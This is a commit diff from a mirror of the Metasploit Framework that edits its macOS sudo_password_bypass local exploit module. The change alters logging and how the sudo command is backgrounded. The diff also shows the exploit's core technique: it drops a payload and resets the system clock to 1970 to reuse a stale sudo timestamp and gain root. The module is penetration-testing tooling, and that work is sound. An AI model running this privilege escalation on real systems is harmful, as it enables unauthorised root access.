infosecn1nja
/
metasploit-framework
mirror of https://github.com/infosecn1nja/metasploit-framework.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Change the command to launch after background the payload job

bug/bundler_fix
jvazquez-r7 2013-08-24 09:57:33 -05:00
parent 4532474309
commit 832fa8838b
1 changed files with 2 additions and 7 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

9
modules/exploits/osx/local/sudo_password_bypass.rb
View File

@ -113,7 +113,6 @@ class Metasploit3 < Msf::Exploit::Local
else else
# "remember" the current system time/date/network/zone # "remember" the current system time/date/network/zone
print_good("User is an admin, continuing...") print_good("User is an admin, continuing...")
print_status("Saving system clock config...")
# drop the payload (unless CMD) # drop the payload (unless CMD)
if using_native_target? if using_native_target?
@ -124,16 +123,12 @@ class Metasploit3 < Msf::Exploit::Local
print_status("Payload dropped and registered for cleanup") print_status("Payload dropped and registered for cleanup")
end end
print_status("Executing: #{SYSTEMSETUP_PATH} -gettime") print_status("Saving system clock config...")
@time = cmd_exec("#{SYSTEMSETUP_PATH} -gettime").match(/^time: (.*)$/i)[1] @time = cmd_exec("#{SYSTEMSETUP_PATH} -gettime").match(/^time: (.*)$/i)[1]
print_status("Executing: #{SYSTEMSETUP_PATH} -getdate")
@date = cmd_exec("#{SYSTEMSETUP_PATH} -getdate").match(/^date: (.*)$/i)[1] @date = cmd_exec("#{SYSTEMSETUP_PATH} -getdate").match(/^date: (.*)$/i)[1]
print_status("Executing: #{SYSTEMSETUP_PATH} -getusingnetworktime")
@networked = cmd_exec("#{SYSTEMSETUP_PATH} -getusingnetworktime") =~ (/On$/) @networked = cmd_exec("#{SYSTEMSETUP_PATH} -getusingnetworktime") =~ (/On$/)
print_status("Executing: #{SYSTEMSETUP_PATH} -gettimezone")
@zone = cmd_exec("#{SYSTEMSETUP_PATH} -gettimezone").match(/^time zone: (.*)$/i)[1] @zone = cmd_exec("#{SYSTEMSETUP_PATH} -gettimezone").match(/^time zone: (.*)$/i)[1]
@network_server = if @networked @network_server = if @networked
print_status("Executing: #{SYSTEMSETUP_PATH} -getnetworktimeserver")
cmd_exec("#{SYSTEMSETUP_PATH} -getnetworktimeserver").match(/time server: (.*)$/i)[1] cmd_exec("#{SYSTEMSETUP_PATH} -getnetworktimeserver").match(/time server: (.*)$/i)[1]
end end
@ -172,7 +167,7 @@ class Metasploit3 < Msf::Exploit::Local
end end
## to prevent the password prompt from destroying session ## to prevent the password prompt from destroying session
sudo_cmd = 'echo "" | ' + sudo_cmd_raw + ' & sleep 5' sudo_cmd = 'echo "" | ' + sudo_cmd_raw + ' & true'
print_status("Executing: sudo -k; \n"+ print_status("Executing: sudo -k; \n"+
"#{SYSTEMSETUP_PATH} -setusingnetworktime Off -setdate 01:01:1970"+ "#{SYSTEMSETUP_PATH} -setusingnetworktime Off -setdate 01:01:1970"+